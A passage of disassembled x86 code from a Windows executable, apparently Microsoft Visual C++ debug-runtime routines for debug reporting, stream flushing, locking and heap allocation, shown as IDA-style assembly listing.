		jmp	short loc_41B0B8
; ---------------------------------------------------------------------------


loc_41B0AE:				; CODE XREF: sub_41AEA0+1FEj
		mov	[ebp+var_1134],	offset dword_433E6C


loc_41B0B8:				; CODE XREF: sub_41AEA0+20Cj
		cmp	[ebp+var_1110],	0
		jz	short loc_41B0CD
		mov	[ebp+var_1138],	offset aModule ; "\nModule: "
		jmp	short loc_41B0D7
; ---------------------------------------------------------------------------


loc_41B0CD:				; CODE XREF: sub_41AEA0+21Fj
		mov	[ebp+var_1138],	offset dword_433E6C


loc_41B0D7:				; CODE XREF: sub_41AEA0+22Bj
		mov	edx, [ebp+var_1114]
		push	edx
		mov	eax, [ebp+var_1118]
		push	eax
		mov	ecx, [ebp+var_111C]
		push	ecx
		mov	edx, [ebp+var_1120]
		push	edx
		mov	eax, [ebp+var_1124]
		push	eax
		mov	ecx, [ebp+var_1128]
		push	ecx
		mov	edx, [ebp+var_112C]
		push	edx
		mov	eax, [ebp+var_1130]
		push	eax
		mov	ecx, [ebp+var_1134]
		push	ecx
		mov	edx, [ebp+var_1138]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, off_443BA4[ecx*4]
		push	edx
		push	offset aDebugSProgramS ; "Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
		push	1000h
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_4172D0
		add	esp, 3Ch
		test	eax, eax
		jge	short loc_41B15D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_110C]
		push	ecx
		call	sub_4184C0
		add	esp, 8


loc_41B15D:				; CODE XREF: sub_41AEA0+2A7j
		push	12012h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
		lea	edx, [ebp+var_110C]
		push	edx
		call	sub_427610
		add	esp, 0Ch
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 3
		jnz	short loc_41B196
		push	16h
		call	sub_427350
		add	esp, 4
		push	3
		call	sub_417960


loc_41B196:				; CODE XREF: sub_41AEA0+2E3j
		cmp	[ebp+var_10C], 4
		jnz	short loc_41B1A6
		mov	eax, 1
		jmp	short loc_41B1A8
; ---------------------------------------------------------------------------


loc_41B1A6:				; CODE XREF: sub_41AEA0+2FDj
		xor	eax, eax


loc_41B1A8:				; CODE XREF: sub_41AEA0+304j
		mov	esp, ebp
		pop	ebp
		retn
sub_41AEA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1B0	proc near		; CODE XREF: sub_414CF0+71p
					; sub_428050+400p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	short loc_41B1E1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41B1FC


loc_41B1E1:				; CODE XREF: sub_41B1B0+Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B226
; ---------------------------------------------------------------------------


loc_41B1FC:				; CODE XREF: sub_41B1B0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B230
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41B226:				; CODE XREF: sub_41B1B0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_41B1B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B230	proc near		; CODE XREF: sub_41B1B0+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427A60
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B283
		cmp	[ebp+arg_0], 1
		jz	short loc_41B252
		cmp	[ebp+arg_0], 2
		jnz	short loc_41B26C


loc_41B252:				; CODE XREF: sub_41B230+1Aj
		push	1
		call	sub_427A60
		add	esp, 4
		mov	esi, eax
		push	2
		call	sub_427A60
		add	esp, 4
		cmp	esi, eax
		jz	short loc_41B283


loc_41B26C:				; CODE XREF: sub_41B230+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427A60
		add	esp, 4
		push	eax
		nop
		call	near ptr 267009Bh
		test	eax, eax
		jz	short loc_41B28C


loc_41B283:				; CODE XREF: sub_41B230+14j
					; sub_41B230+3Aj
		mov	[ebp+var_4], 0
		jmp	short loc_41B295
; ---------------------------------------------------------------------------


loc_41B28C:				; CODE XREF: sub_41B230+51j
		nop
		call	near ptr 26908EFh
		mov	[ebp+var_4], eax


loc_41B295:				; CODE XREF: sub_41B230+5Aj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427980
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	byte ptr [edx+ecx+4], 0
		cmp	[ebp+var_4], 0
		jz	short loc_41B2D3
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_420480
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B2D5
; ---------------------------------------------------------------------------


loc_41B2D3:				; CODE XREF: sub_41B230+90j
		xor	eax, eax


loc_41B2D5:				; CODE XREF: sub_41B230+A1j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_41B230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2E0	proc near		; CODE XREF: sub_414CF0+62p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_41B2E6:				; CODE XREF: sub_41B2E0+2Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B30A
		push	offset dword_4334A4
		push	0
		push	30h
		push	offset a_freebuf_c ; "_freebuf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B30A
		int	3		; Trap to Debugger


loc_41B30A:				; CODE XREF: sub_41B2E0+Aj
					; sub_41B2E0+27j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B2E6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 83h
		test	edx, edx
		jz	short loc_41B36D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_41B36D
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_415860
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFBF7h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0


loc_41B36D:				; CODE XREF: sub_41B2E0+3Ej
					; sub_41B2E0+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B2E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41B396
		push	0
		call	sub_41B4F0
		add	esp, 4
		jmp	short loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B396:				; CODE XREF: ___:0041B388j
		mov	eax, [ebp+8]
		push	eax
		call	sub_418E90
		add	esp, 4
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41B3D0
		add	esp, 4
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp-4]


loc_41B3C0:				; CODE XREF: ___:0041B394j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3D0	proc near		; CODE XREF: ___:0041B3A6p
					; sub_41B4F0+B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B420
		add	esp, 4
		test	eax, eax
		jz	short loc_41B3E8
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B40F
; ---------------------------------------------------------------------------


loc_41B3E8:				; CODE XREF: sub_41B3D0+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_41B40D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_427CA0
		add	esp, 4
		neg	eax
		sbb	eax, eax
		jmp	short loc_41B40F
; ---------------------------------------------------------------------------


loc_41B40D:				; CODE XREF: sub_41B3D0+26j
		xor	eax, eax


loc_41B40F:				; CODE XREF: sub_41B3D0+16j
					; sub_41B3D0+3Bj
		pop	ebp
		retn
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B420	proc near		; CODE XREF: sub_414CF0+53p
					; sub_419FE0+A2p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 3
		cmp	edx, 2
		jnz	short loc_41B4BB
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 108h
		test	ecx, ecx
		jz	short loc_41B4BB
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jle	short loc_41B4BB
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		push	eax
		call	sub_425880
		add	esp, 0Ch
		cmp	eax, [ebp+var_C]
		jnz	short loc_41B4A5
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41B4A3
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx


loc_41B4A3:				; CODE XREF: sub_41B420+72j
		jmp	short loc_41B4BB
; ---------------------------------------------------------------------------


loc_41B4A5:				; CODE XREF: sub_41B420+62j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	[ebp+var_4], 0FFFFFFFFh


loc_41B4BB:				; CODE XREF: sub_41B420+1Fj
					; sub_41B420+2Fj ...
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41B420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4E0	proc near		; CODE XREF: sub_418E70+3p
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_41B4F0
		add	esp, 4
		pop	ebp
		retn
sub_41B4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4F0	proc near		; CODE XREF: ___:0041B38Cp
					; sub_41B4E0+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		push	2
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_41B520
; ---------------------------------------------------------------------------


loc_41B517:				; CODE XREF: sub_41B4F0:loc_41B60Ej
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_41B520:				; CODE XREF: sub_41B4F0+25j
		mov	ecx, [ebp+var_C]
		cmp	ecx, dword_4DC7C0
		jge	loc_41B613
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB7AC
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_41B60E
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	loc_41B60E
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB7AC
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_418ED0
		add	esp, 8
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4DB7AC
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41B5F5
		cmp	[ebp+arg_0], 1
		jnz	short loc_41B5B9
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_41B3D0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B5B7
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41B5B7:				; CODE XREF: sub_41B4F0+BCj
		jmp	short loc_41B5F5
; ---------------------------------------------------------------------------


loc_41B5B9:				; CODE XREF: sub_41B4F0+A2j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B5F5
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB7AC
		mov	ecx, [eax+edx*4]
		mov	edx, [ecx+0Ch]
		and	edx, 2
		test	edx, edx
		jz	short loc_41B5F5
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4DB7AC
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41B3D0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B5F5
		mov	[ebp+var_8], 0FFFFFFFFh


loc_41B5F5:				; CODE XREF: sub_41B4F0+9Cj
					; sub_41B4F0:loc_41B5B7j ...
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4DB7AC
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_418F40
		add	esp, 8


loc_41B60E:				; CODE XREF: sub_41B4F0+4Bj
					; sub_41B4F0+68j
		jmp	loc_41B517
; ---------------------------------------------------------------------------


loc_41B613:				; CODE XREF: sub_41B4F0+39j
		push	2
		call	sub_41B820
		add	esp, 4
		cmp	[ebp+arg_0], 1
		jnz	short loc_41B628
		mov	eax, [ebp+var_4]
		jmp	short loc_41B62B
; ---------------------------------------------------------------------------


loc_41B628:				; CODE XREF: sub_41B4F0+131j
		mov	eax, [ebp+var_8]


loc_41B62B:				; CODE XREF: sub_41B4F0+136j
		mov	esp, ebp
		pop	ebp
		retn
sub_41B4F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, dword_4DB130
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DB130, ecx
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DB130
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B670	proc near		; CODE XREF: sub_414E20+48p
					; sub_41B880+41p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB130
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41B690
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4
		test	eax, eax
		jnz	short loc_41B694


loc_41B690:				; CODE XREF: sub_41B670+10j
		xor	eax, eax
		jmp	short loc_41B699
; ---------------------------------------------------------------------------


loc_41B694:				; CODE XREF: sub_41B670+1Ej
		mov	eax, 1


loc_41B699:				; CODE XREF: sub_41B670+22j
		mov	esp, ebp
		pop	ebp
		retn
sub_41B670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6A0	proc near		; CODE XREF: ___:0041F894p
		push	ebp
		mov	ebp, esp
		mov	eax, off_443BF4
		push	eax
		nop
		call	near ptr 28606DCh
		mov	ecx, off_443BE4
		push	ecx
		call	near ptr 28606DCh
		nop
		mov	edx, off_443BD4
		push	edx
		nop
		call	near ptr 28606DCh
		mov	eax, off_443BB4
		push	eax
		nop
		call	near ptr 28606DCh
		pop	ebp
		retn
sub_41B6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6E0	proc near		; CODE XREF: ___:0041F923p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B6ED:				; CODE XREF: sub_41B6E0:loc_41B747j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41B6F6:				; CODE XREF: sub_41B6E0+Bj
		cmp	[ebp+var_4], 30h
		jge	short loc_41B749
		mov	ecx, [ebp+var_4]
		cmp	dword_443BB0[ecx*4], 0
		jz	short loc_41B747
		cmp	[ebp+var_4], 11h
		jz	short loc_41B747
		cmp	[ebp+var_4], 0Dh
		jz	short loc_41B747
		cmp	[ebp+var_4], 9
		jz	short loc_41B747
		cmp	[ebp+var_4], 1
		jz	short loc_41B747
		mov	edx, [ebp+var_4]
		mov	eax, dword_443BB0[edx*4]
		push	eax
		nop
		call	near ptr 2700770h
		push	2
		mov	ecx, [ebp+var_4]
		mov	edx, dword_443BB0[ecx*4]
		push	edx
		call	sub_415860
		add	esp, 8


loc_41B747:				; CODE XREF: sub_41B6E0+27j
					; sub_41B6E0+2Dj ...
		jmp	short loc_41B6ED
; ---------------------------------------------------------------------------


loc_41B749:				; CODE XREF: sub_41B6E0+1Aj
		mov	eax, off_443BD4
		push	eax
		nop
		call	near ptr 2700770h
		mov	ecx, off_443BE4
		push	ecx
		nop
		call	near ptr 2700770h
		mov	edx, off_443BF4
		push	edx
		call	near ptr 2700770h
		nop
		mov	eax, off_443BB4
		push	eax
		call	near ptr 2700770h
		nop
		mov	esp, ebp
		pop	ebp
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B780	proc near		; CODE XREF: sub_414E20+6p
					; sub_415260+6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword_443BB0[eax*4], 0
		jnz	short loc_41B802
		push	0E1h
		push	offset aMlock_c	; "mlock.c"
		push	2
		push	18h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41B7BA
		push	11h
		call	sub_41A9A0
		add	esp, 4


loc_41B7BA:				; CODE XREF: sub_41B780+2Ej
		push	11h
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword_443BB0[ecx*4], 0
		jnz	short loc_41B7EA
		mov	edx, [ebp+var_4]
		push	edx
		nop
		call	near ptr 28606DCh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_443BB0[eax*4], ecx
		jmp	short loc_41B7F8
; ---------------------------------------------------------------------------


loc_41B7EA:				; CODE XREF: sub_41B780+4Fj
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_415860
		add	esp, 8


loc_41B7F8:				; CODE XREF: sub_41B780+68j
		push	11h
		call	sub_41B820
		add	esp, 4


loc_41B802:				; CODE XREF: sub_41B780+Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_443BB0[eax*4]
		push	ecx
		nop
		call	near ptr 77F7E21Fh
		mov	esp, ebp
		pop	ebp
		retn
sub_41B780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B820	proc near		; CODE XREF: sub_414E20+2Bp
					; sub_415260+31p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_443BB0[eax*4]
		push	ecx
		nop
		call	near ptr 77F7E300h
		pop	ebp
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	0
		call	near ptr 286074Ch
		nop
		push	0FFh
		call	near ptr 77E75CB5h
		nop
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B860	proc near		; CODE XREF: sub_41BA10+10p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DB12C
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B880
		add	esp, 8
		pop	ebp
		retn
sub_41B860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B880	proc near		; CODE XREF: sub_41B860+Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFE0h
		jbe	short loc_41B88E
		xor	eax, eax
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B88E:				; CODE XREF: sub_41B880+8j
					; sub_41B880:loc_41B8D1j
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_41B8A5
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B8E0
		add	esp, 4
		mov	[ebp+var_4], eax
		jmp	short loc_41B8AC
; ---------------------------------------------------------------------------


loc_41B8A5:				; CODE XREF: sub_41B880+12j
		mov	[ebp+var_4], 0


loc_41B8AC:				; CODE XREF: sub_41B880+23j
		cmp	[ebp+var_4], 0
		jnz	short loc_41B8B8
		cmp	[ebp+arg_4], 0
		jnz	short loc_41B8BD


loc_41B8B8:				; CODE XREF: sub_41B880+30j
		mov	eax, [ebp+var_4]
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8BD:				; CODE XREF: sub_41B880+36j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B670
		add	esp, 4
		test	eax, eax
		jnz	short loc_41B8D1
		xor	eax, eax
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8D1:				; CODE XREF: sub_41B880+4Bj
		jmp	short loc_41B88E
; ---------------------------------------------------------------------------


loc_41B8D3:				; CODE XREF: sub_41B880+Cj
					; sub_41B880+3Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41B880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8E0	proc near		; CODE XREF: sub_414EA0+19Dp
					; sub_41B880+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_443C78
		ja	short loc_41B91D
		push	9
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C510
		add	esp, 4
		mov	[ebp+var_4], eax
		push	9
		call	sub_41B820
		add	esp, 4
		cmp	[ebp+var_4], 0
		jz	short loc_41B91D
		mov	eax, [ebp+var_4]
		jmp	short loc_41B949
; ---------------------------------------------------------------------------


loc_41B91D:				; CODE XREF: sub_41B8E0+Dj
					; sub_41B8E0+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B92A
		mov	[ebp+arg_0], 1


loc_41B92A:				; CODE XREF: sub_41B8E0+41j
		mov	edx, [ebp+arg_0]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4DB7A0
		push	ecx
		nop
		call	near ptr 2870000h


loc_41B949:				; CODE XREF: sub_41B8E0+3Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_41B8E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B950	proc near		; CODE XREF: sub_414EA0+79p
					; sub_4152A0+C1p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		pop	ebp
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B960	proc near		; CODE XREF: sub_4152A0+2D4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_41B973
		xor	eax, eax
		jmp	loc_41BA09
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B960+Aj
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BE80
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41B9D1
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_443C78
		ja	short loc_41B9C2
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41CD50
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B9C2
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx


loc_41B9C2:				; CODE XREF: sub_41B960+42j
					; sub_41B960+5Aj
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		jmp	short loc_41BA09
; ---------------------------------------------------------------------------


loc_41B9D1:				; CODE XREF: sub_41B960+30j
		push	9
		call	sub_41B820
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jnz	short loc_41B9E8
		mov	[ebp+arg_4], 1


loc_41B9E8:				; CODE XREF: sub_41B960+7Fj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 2880000h


loc_41BA09:				; CODE XREF: sub_41B960+Ej
					; sub_41B960+6Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_41B960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA10	proc near		; CODE XREF: sub_4152A0+2AFp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BA2D
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41B860
		add	esp, 4
		jmp	loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BA2D:				; CODE XREF: sub_41BA10+Aj
		cmp	[ebp+arg_4], 0
		jnz	short loc_41BA46
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BC00
		add	esp, 4
		xor	eax, eax
		jmp	loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BA46:				; CODE XREF: sub_41BA10+21j
					; sub_41BA10:loc_41BBF1j
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_41BBC9
		push	9
		call	sub_41B780
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41BE80
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	loc_41BB8C
		mov	eax, [ebp+arg_4]
		cmp	eax, dword_443C78
		ja	short loc_41BB00
		mov	ecx, [ebp+arg_4]
